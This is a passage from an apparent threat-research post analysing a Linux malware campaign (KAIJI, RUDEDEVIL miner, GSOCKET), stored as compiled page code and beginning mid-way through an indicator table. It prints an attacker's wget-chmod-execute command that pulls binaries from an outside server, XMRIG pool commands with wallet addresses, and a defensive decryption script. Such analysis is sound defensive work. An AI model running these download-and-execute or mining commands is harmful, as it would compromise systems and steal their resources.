54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1de | SHA-256 | mvhhvcp3.exe | DONUT LOADER |\n| 9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976 | SHA-256 | vdfgb.exe | Miner |\n| http://gcp.pagaelrescate[.]com:8080/ifindyou | url | ifindyou.sh | Stage 1 |\n| http://gcp.pagaelrescate[.]com:8080/cycnet | url | cycnet.sh | Stage 2 |\n| http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | url | Enviador_slot.py | Stage 3 |\n| http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC | url | SystemdXC | XMRIG |\n| http://38.54.125[.]192:8080/nginx-rc | url | nginx-rc | LIGOLO-NG |\n| http://62.72.22[.]91/apache2 | url | apache2 | Custom Malware |\n| http://62.72.22[.]91/apache2v86 | url | apache2v86 | Custom Malware |\n| http://91.92.241[.]103:8002/gk.php | url | gk.php | PHP Backdoor |\n| http://hfs.t1linux[.]com:7845/scdsshfk | url | scdsshfk | XMRIG |\n| gcp.pagaelrescate[.]com | domain-name | | REF Hosting domain |\n| nishabii[.]xyz | domain-name | | RUDEDEVIL C2 |\n| 3.147.53[.]183 | ipv4-addr | | Python Reverse Shell C2 |\n| 38.54.125[.]192 | ipv4-addr | | C2 Server |\n| 107.178.101[.]245 | ipv4-addr | | Malware File Server (Rejetto) |\n| 62.72.22[.]91 | ipv4-addr | | Server Hosting Malware |\n| 91.92.241[.]103 | ipv4-addr | | C2 Server |\n| 61.160.194[.]160 | ipv4-addr | | Server Hosting Malware |\n| 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL | XMR Wallet | | RUDEDEVIL/LUFICER mining wallet |\n| 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc | XMR Wallet | | RUDEDEVIL/LUFICER mining wallet |\n| 1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz | BTC Wallet | | XMRIG mining wallet |\n\n## References\n\nThe following were referenced throughout the above research:\n\n* [https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html](https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html)\n* [https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/](https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/)\n* [https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities](https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities)\n* [https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/](https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/)\n* [https://github.com/hackerschoice/gsocket](https://github.com/hackerschoice/gsocket)","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),b=(t,e)=\u003e{for(var i in e)a(t,i,{get:e[i],enumerable:!0})},c=(t,e,i,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of m(e))!g.call(t,r)\u0026\u0026r!==i\u0026\u0026a(t,r,{get:()=\u003ee[r],enumerable:!(o=p(e,r))||o.enumerable});return t};var w=(t,e,i)=\u003e(i=t!=null?h(u(t)):{},c(e||!t||!t.__esModule?a(i,\"default\",{value:t,enumerable:!0}):i,t)),y=t=\u003ec(a({},\"__esModule\",{value:!0}),t);var d=f((I,s)=\u003e{s.exports=_jsx_runtime});var T={};b(T,{default:()=\u003ek,frontmatter:()=\u003ev});var n=w(d()),v={title:\"Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse\",slug:\"betting-on-bots\",date:\"2024-09-27\",description:\"The REF6138 campaign involved cryptomining, DDoS attacks, and potential money laundering via gambling APIs, highlighting the attackers' use of evolving malware and stealthy communication channels.\",author:[{slug:\"remco-sprooten\"},{slug:\"ruben-groenewoud\"}],image:\"betting-on-bots.jpg\",category:[{slug:\"malware-analysis\"},{slug:\"attack-pattern\"}],tags:[\"linux\",\"kaiji\",\"rudedevil\",\"gsocket\",\"cryptomining\"]};function l(t){let e=Object.assign({h2:\"h2\",p:\"p\",h3:\"h3\",code:\"code\",ul:\"ul\",li:\"li\",img:\"img\",pre:\"pre\",strong:\"strong\",h4:\"h4\",a:\"a\",em:\"em\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",ol:\"ol\"},t.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,n.jsx)(e.p,{children:\"In recent months, Elastic Security Labs has uncovered a sophisticated Linux malware campaign targeting vulnerable servers. The attackers initiated the compromise in March 2024 by exploiting an Apache2 web server. Gaining initial access the threat actors deployed a complex intrusion set to establish persistence and expand their control over the compromised host.\"}),`\n`,(0,n.jsx)(e.p,{children:\"The threat actors utilized a mixture of tools and malware, including C2 channels disguised as kernel processes, telegram bots for communication, and cron jobs for scheduled task execution. Notably, they deployed multiple malware families, such as KAIJI and RUDEDEVIL, alongside custom-written malware. KAIJI, known for its DDoS capabilities, and RUDEDEVIL, a cryptocurrency miner, were used to exploit system resources for malicious purposes.\"}),`\n`,(0,n.jsx)(e.p,{children:\"Our investigation revealed a potential Bitcoin/XMR mining scheme that leverages gambling APIs, suggesting the attackers might be conducting money laundering activities using compromised hosts. We also gained access to a file share that hosted daily uploads of fresh KAIJI samples with previously unseen hashes, indicating active development and adaptation by the malware authors.\"}),`\n`,(0,n.jsx)(e.p,{children:\"This research publication delves into the details of the campaign, providing a comprehensive analysis of the attackers' tactics, techniques, and procedures. We explore how they established initial access, the methods used for persistence and privilege escalation, and the malware deployed at each stage. Additionally, we discuss the command and control infrastructure, including the use of GSOCKET and Telegram for stealthy communication.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"execution-flow\",children:\"Execution flow\"}),`\n`,(0,n.jsx)(e.h3,{id:\"initial-access\",children:\"Initial access\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Our team observed a host that was initially compromised in March 2024 by obtaining arbitrary code execution on a server running Apache2. Evidence of this compromise is seen in the execution of the \",(0,n.jsx)(e.code,{children:\"id\"}),\" command via the Apache2 process, after which we see the threat actor exploiting the web server and deploying KAIJI malware under the \",(0,n.jsx)(e.code,{children:\"www-data\"}),\" user account.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Shortly after the Kaiji deployment, the attacker used the \",(0,n.jsx)(e.code,{children:\"www-data\"}),\" account to download a script named \",(0,n.jsx)(e.code,{children:\"00.sh\"}),\" from the URL \",(0,n.jsx)(e.code,{children:\"http://61.160.194[.]160:35130\"}),\", which, after further investigation, also hosted several versions of RUDEDEVIL malware.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.code,{children:\"00.sh\"}),\" is a stager that:\"]}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Sets its default shell and PATH.\"}),`\n`,(0,n.jsx)(e.li,{children:\"Deletes several log files to erase traces of execution.\"}),`\n`,(0,n.jsxs)(e.li,{children:[\"Leverages \",(0,n.jsx)(e.code,{children:\"ps\"}),\", \",(0,n.jsx)(e.code,{children:\"netstat\"}),\", \",(0,n.jsx)(e.code,{children:\"lsof\"}),\" and a list of common mining process names to kill any potential mining competition on the compromised host.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Flushes the \",(0,n.jsx)(e.code,{children:\"iptables\"}),\" rules on the host, sets several \",(0,n.jsx)(e.code,{children:\"iptables\"}),\" rules to block connections to specific destination ports and mining pools, and disables \",(0,n.jsx)(e.code,{children:\"iptables\"}),\".\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Finally, a second stage (\",(0,n.jsx)(e.code,{children:\"sss6\"}),\"/\",(0,n.jsx)(e.code,{children:\"sss68\"}),\") is downloaded and executed, and execution traces are erased.\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"The figure below shows a compressed version of the stager. Lines annotated with \",(0,n.jsx)(e.code,{children:\"[...]\"}),\" are shortened to enhance readability.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image5.png\",alt:\"Compressed version of the 00.sh stager\",title:\"Compressed version of the 00.sh stager\",width:\"1999\",height:\"1721\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"fileserver\",children:\"Fileserver\"}),`\n`,(0,n.jsx)(e.p,{children:\"Via the backdoored web server process, the attacker downloaded and executed malware through the following command:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The \",(0,n.jsx)(e.code,{children:\"l64\"}),\" and \",(0,n.jsx)(e.code,{children:\"l86\"}),\" files are downloaded from \",(0,n.jsx)(e.code,{children:\"http://107.178.101[.]245:5488\"}),\", after which they are granted all permissions, executed, and removed. Looking at the server that is hosting these malware samples, we see the following:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image30.png\",alt:\"Rejetto File Server Hosting Several Pieces of Malware\",title:\"Rejetto File Server Hosting Several Pieces of Malware\",width:\"1797\",height:\"1377\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"This seems to be a file server, hosting several types of malware for different architectures. The file server leverages the Rejetto technology. These malwares have upload dates and download counters. For example, the \",(0,n.jsx)(e.code,{children:\"download.sh\"}),\" file that was uploaded September 10th, was already downloaded 3,100 times.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image25.png\",alt:\"Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload\",title:\"Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload\",width:\"1704\",height:\"393\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"rudedevillucifer\",children:\"RUDEDEVIL/LUCIFER\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Upon closer inspection, the file \",(0,n.jsx)(e.code,{children:\"sss6\"}),\", which was downloaded and executed, has been identified as the RUDEDEVIL malware. Early in the execution process, we encounter an embedded message characteristic of this malware family:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image11.png\",alt:\"RUDEDEVIL Malware Characteristic\",title:\"RUDEDEVIL Malware Characteristic\",width:\"1999\",height:\"173\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`Hi, man. I\\\\'ve seen several organizations report my Trojan recently, \nPlease let me go. I want to buy a car. That\\\\'s all. I don\\\\'t want to hurt others. \nI can\\\\'t help it. My family is very poor. In China, it\\\\'s hard to buy a suite. \nI don\\\\'t have any accommodation. I don\\\\'t want to do anything illegal. \nReally, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, \nthank yo\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"We note that the files \",(0,n.jsx)(e.code,{children:\"l64\"}),\" and \",(0,n.jsx)(e.code,{children:\"l86\"}),\" that are hosted on the file server contain the same malware. When analyzing the execution flow of the malware we see that the main function of the malware performs several key tasks:\"]}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Daemon Initialization:\"}),\" The process is converted into a daemon using \",(0,n.jsx)(e.code,{children:\"daemon(1, 0)\"}),\".\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Socket Creation:\"}),\" A socket is created and bound to a specific port.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Signal Handling:\"}),\" Custom signal handlers are set up for various signals.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Service Initialization:\"}),\" Several services are started using \",(0,n.jsx)(e.code,{children:\"SetFILE\"}),\".\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Privilege Handling:\"}),\" It checks for root privileges and adjusts resource limits accordingly.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Decryption:\"}),\" The malware decrypts its configuration blobs.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Thread Creation:\"}),\" Multiple threads are spawned for tasks like mining, killing processes, and monitoring network and CPU usage.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Main Loop:\"}),\" The program enters an infinite loop where it repeatedly connects to a server and sleeps for a specified duration.\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"When examining the encryption routine, we find it utilizes XOR-based encoding:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image13.png\",alt:\"DareDevil Encryption Routine\",title:\"DareDevil Encryption Routine\",width:\"1164\",height:\"610\"})}),`\n`,(0,n.jsx)(e.p,{children:\"To decode the contents statically, we developed a basic Python snippet:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-python\",children:`def DecryptData(data_block, encryption_key):\n key_modifier = encryption_key \u0026 0xFF\n key_index = key_modifier // 0x5F # 0x5F = 95 in decimal\n modifier = (key_modifier - (key_index * 0x5F)) + 0x58 # 0x58 = 88 in decimal\n\n for i in range(len(data_block)):\n data_block[i] ^= modifier\n data_block[i] \u0026= 0xFF # Ensure 8-bit value\n data_block[i] += modifier\n data_block[i] \u0026= 0xFF # Ensure 8-bit value\n\n return data_block\n\n# Encoded data as hex strings\nencoded_data = [\n '4c494356515049490c467978',\n '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',\n '0f424d4e0f435536575649484b',\n '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',\n]\n\nencryption_key = 0x03FF # 1023 in decimal\n\n# Process and decrypt each encoded data string\nfor data in encoded_data:\n # Convert hex string to list of integers\n data_bytes = bytes.fromhex(data)\n data_block = list(data_bytes)\n\n # Decrypt the data\n decrypted_block = DecryptData(data_block, encryption_key)\n\n # Convert decrypted data back to bytes\n decrypted_bytes = bytes(decrypted_block)\n print(\"Decrypted text:\", decrypted_bytes.decode('utf-8', errors='ignore'))\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"After decoding the configuration, the following values are revealed:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"The first value C2 domain \",(0,n.jsx)(e.code,{children:\"nishabii[.]xyz\"}),\".\"]}),`\n`,(0,n.jsx)(e.li,{children:\"The second value reveals options that will be passed to XMRIG.\"}),`\n`,(0,n.jsx)(e.li,{children:\"The third value shows the temp file location the malware uses.\"}),`\n`,(0,n.jsx)(e.li,{children:\"The fourth and last string shows the download location for the XMRIG binary.\"}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"thread-management-in-the-malware\",children:\"Thread Management in the Malware\"}),`\n`,(0,n.jsx)(e.p,{children:\"The malware initiates several threads to handle its core operations. Let\\u2019s explore how some of these functions work in detail.\"}),`\n`,(0,n.jsx)(e.h4,{id:\"understanding-the-killpid-function\",children:\"Understanding the KillPid Function\"}),`\n`,(0,n.jsx)(e.p,{children:\"One of the threads runs the KillPid function, which is designed to continuously monitor and manage processes. The function begins by detaching its current thread, allowing it to run in the background without blocking other processes. It then enters an infinite loop, repeatedly executing its tasks.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"At the heart of its functionality is an array called \",(0,n.jsx)(e.code,{children:\"sb_name\"}),\", which contains the names of processes the malware wants to terminate.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image24.png\",alt:\"RUDEDEVIL kill process array\",title:\"RUDEDEVIL kill process array\",width:\"1840\",height:\"324\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Every two seconds, the function checks the system for processes listed in this array, retrieving their process IDs (PIDs) using a helper function called \",(0,n.jsx)(e.code,{children:\"getPidByName\"}),\". After each iteration, it moves to the next process in the list, ensuring all processes in \",(0,n.jsx)(e.code,{children:\"sb_name\"}),\" are handled.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Interestingly, after processing all elements in the array, the function enters an extended sleep for 600 seconds \\u2014 roughly 10 minutes \\u2014 before resuming its process checks. This extended sleep period is likely implemented to conserve system resources, ensuring the malware doesn't consume too much CPU time while monitoring processes.\"}),`\n`,(0,n.jsx)(e.h4,{id:\"understanding-the-get_net_messages-function\",children:\"Understanding the Get_Net_Messages Function\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Another crucial thread is responsible for monitoring network traffic, specifically focusing on the \",(0,n.jsx)(e.code,{children:\"eth0\"}),\" network interface. This functionality is handled by the \",(0,n.jsx)(e.code,{children:\"getOutRates\"}),\" function. The function begins by setting up necessary variables and opening the \",(0,n.jsx)(e.code,{children:\"/proc/net/dev\"}),\" file, which contains detailed network statistics for each interface.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image22.png\",alt:\"Getting network rates from /proc/net/dev\",title:\"Getting network rates from /proc/net/dev\",width:\"1184\",height:\"544\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"If the file is successfully opened, the malware reads a block of data \\u2014 up to 1024 bytes \\u2014 and processes it to extract the relevant network statistics. It specifically looks for the \",(0,n.jsx)(e.code,{children:\"eth0\"}),\" interface, parsing the output rate data using a standard string parsing method. If successful, the function returns the output rate for \",(0,n.jsx)(e.code,{children:\"eth0\"}),\"; otherwise, it returns \",(0,n.jsx)(e.code,{children:\"0\"}),\", ensuring the malware continues functioning even if an error occurs.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"This routine allows the malware to quietly monitor the network activity of the infected machine, likely to track data being sent or received across the interface.\"}),`\n`,(0,n.jsx)(e.h4,{id:\"understanding-the-get_cpu_message-function\",children:\"Understanding the Get_Cpu_Message Function\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"For CPU monitoring, the malware uses the \",(0,n.jsx)(e.code,{children:\"GetCpuRates\"}),\" function. This function continuously monitors the CPU usage by reading data from \",(0,n.jsx)(e.code,{children:\"/proc/stat\"}),\". Similar to how the network data is handled, the CPU statistics are read and parsed, allowing the malware to calculate the system's CPU usage.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image34.png\",alt:\"Getting CPU information from /proc/stat\",title:\"Getting CPU information from /proc/stat\",width:\"1184\",height:\"544\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The function operates in an infinite loop, sleeping for one second between each iteration to avoid overwhelming the system. If the file cannot be opened for some reason, the function logs an error and gracefully exits. However, as long as it\\u2019s able to read the file, it continually monitors CPU usage, ensuring the malware remains aware of system performance.\"}),`\n`,(0,n.jsx)(e.h4,{id:\"understanding-the-send_host_message-function\",children:\"Understanding the Send_Host_Message Function\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Perhaps the most critical thread is the one responsible for sending system information back to the malware operators. The \",(0,n.jsx)(e.code,{children:\"_SendInfo\"}),\" function performs this task by collecting data about the infected system\\u2019s CPU and network usage. It begins by setting up buffers and preparing file paths to gather the necessary data. Depending on the system\\u2019s status, it formats the CPU and network usage into a string.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image19.png\",alt:\"Sending system info back to the C2\",title:\"Sending system info back to the C2\",width:\"1304\",height:\"1520\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Additionally, the function checks whether a particular process is running on the system and adjusts its formatted message accordingly. Finally, it sends this formatted data back to the command-and-control server via a socket connection.\"}),`\n`,(0,n.jsx)(e.p,{children:\"In essence, this function allows the malware to remotely monitor the infected machine, gathering key details like CPU load and network activity. The operators can use this information to assess the status of their infection and adjust their activities as needed.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"connecting-to-the-command-and-control-c2-server\",children:\"Connecting to the Command-and-Control (C2) Server\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Once all the threads are up and running, the malware shifts its focus to establishing a connection with its C2 server. This is managed by the \",(0,n.jsx)(e.code,{children:\"ConnectServer\"}),\" function in the main thread, which handles communication with the server and executes commands remotely.\"]}),`\n`,(0,n.jsx)(e.h4,{id:\"understanding-the-connectserver-function\",children:\"Understanding the ConnectServer Function\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The first task the \",(0,n.jsx)(e.code,{children:\"ConnectServer\"}),\" function performs is establishing a connection to the C2 server using \",(0,n.jsx)(e.code,{children:\"ServerConnectCli\"}),\". After successfully connecting, the malware configures the socket to enable keep-alive settings, ensuring that the connection remains stable over extended periods of time.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Once the connection is set up, the malware collects various pieces of system information, including the hostname, user information, CPU specs, and memory details. This information is then sent to the server as an initial data payload, providing the attackers with a detailed view of the infected machine.\"}),`\n`,(0,n.jsx)(e.p,{children:\"After this initial setup, the malware enters an ongoing loop where it awaits and processes commands from the server. The types of commands handled are varied and can include tasks like launching a DDoS attack, stopping or starting CPU-intensive operations, executing system commands, or managing cryptocurrency mining activities. The loop continues indefinitely, ensuring that the malware is ready to execute any command sent by its operators.\"}),`\n`,(0,n.jsx)(e.p,{children:\"When the connection is no longer needed, or when the malware receives a termination command, it gracefully closes the socket, ending the session with the server.\"}),`\n`,(0,n.jsx)(e.h4,{id:\"command-and-control-c2-commands\",children:\"Command-and-Control (C2) Commands\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The \",(0,n.jsx)(e.code,{children:\"ConnectServer\"}),\" function processes a variety of commands from the C2 server, each designed to control a different aspect of the infected system. Here\\u2019s a breakdown of the commands handled by the malware:\"]}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Case 4:\"}),\" The malware calls the \",(0,n.jsx)(e.code,{children:\"DealwithDDoS\"}),\" function, likely initiating a Distributed Denial of Service (DDoS) attack.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Case 5:\"}),\" Sets the \",(0,n.jsx)(e.code,{children:\"StopFlag\"}),\" to \",(0,n.jsx)(e.code,{children:\"1\"}),\", which could signal the malware to stop specific tasks.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Case 6:\"}),\" Downloads a file from the server using \",(0,n.jsx)(e.code,{children:\"http_get\"}),\", changes its permissions, and then executes it. This command allows the attackers to run additional malware or scripts on the infected machine.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Case 7:\"}),\" Executes a system command using the \",(0,n.jsx)(e.code,{children:\"system\"}),\" function, providing the attackers with direct control over the system\\u2019s command line.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Case 8:\"}),\" Sets \",(0,n.jsx)(e.code,{children:\"StopCpu\"}),\" to \",(0,n.jsx)(e.code,{children:\"0\"}),\", restarting any previously halted CPU tasks.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Case 9:\"}),\" Sets \",(0,n.jsx)(e.code,{children:\"StopCpu\"}),\" to \",(0,n.jsx)(e.code,{children:\"1\"}),\", halting all CPU tasks.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Case 0xA:\"}),\" Updates the CPU mining configuration with new data and retrieves the PID of the current process, allowing the malware to modify its cryptocurrency mining operations.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Case 0xB:\"}),\" Sets \",(0,n.jsx)(e.code,{children:\"stopxmr\"}),\" to \",(0,n.jsx)(e.code,{children:\"1\"}),\", effectively stopping the XMRIG miner.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Case 0xC:\"}),\" Resets \",(0,n.jsx)(e.code,{children:\"stopxmr\"}),\" to \",(0,n.jsx)(e.code,{children:\"0\"}),\" and retrieves the current process PID, resuming the mining activity.\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image19.png\",alt:\"Processing of C2 commands\",title:\"Processing of C2 commands\",width:\"1304\",height:\"1520\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Each command gives the malware operators precise control over how the infected machine behaves, whether it\\u2019s participating in a DDoS attack, running new malware, or managing mining operations.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"variants-of-rudedevil-malware-and-xmrig-configuration\",children:\"Variants of RUDEDEVIL Malware and XMRIG Configuration\"}),`\n`,(0,n.jsx)(e.p,{children:\"While the file server mentioned before was active, we observed multiple versions of the RUDEDEVIL malware being uploaded. The core functionality of these versions remained largely the same, with the only significant variation being the embedded XMRIG commands used for cryptocurrency mining.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Each version of the malware was configured to connect to the same mining pool, \",(0,n.jsx)(e.code,{children:\"c3pool.org\"}),\", but with slight differences in the parameters passed to the XMRIG miner:\"]}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"-o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0\"})}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Each of these commands directs the miner to connect to the same mining pool but specifies different wallets or configurations. By examining the \",(0,n.jsx)(e.code,{children:\"c3pool\"}),\" application, we confirmed that both XMR addresses associated with these commands are currently active and mining.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image9.png\",alt:\"C3pool mining revenue\",title:\"C3pool mining revenue\",width:\"1999\",height:\"1130\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Additionally, through this analysis, we were able to estimate the total profit generated by these two mining campaigns, highlighting the financial impact of the RUDEDEVIL malware and its connection to illegal cryptocurrency mining operations.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"gsocket\",children:\"GSOCKET\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"To establish persistence, the threat actor downloaded and installed \",(0,n.jsx)(e.a,{href:\"https://github.com/hackerschoice/gsocket\",rel:\"nofollow\",children:\"GSOCKET\"}),\", a network utility designed to enable encrypted communication between machines that are behind firewalls or NAT. GSOCKET creates secure, persistent connections through the Global Socket Relay Network (GSRN). This open-source tool includes features like AES-256 encryption, support for end-to-end communication security, and compatibility with SSH, netcat, and TOR, which allow for encrypted file transfers, remote command execution, and even the creation of hidden services.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Although GSOCKET is not inherently malicious, its features can be leveraged for suspicious purposes.\"}),`\n`,(0,n.jsx)(e.p,{children:\"Once deployed, GSOCKET performs several actions to maintain persistence and conceal its presence. First, it checks the system for active kernel processes to decide which process it will masquerade as:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image7.png\",alt:\"GSOCKET Kernel Process Masquerading\",title:\"GSOCKET Kernel Process Masquerading\",width:\"1999\",height:\"315\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"It then creates the 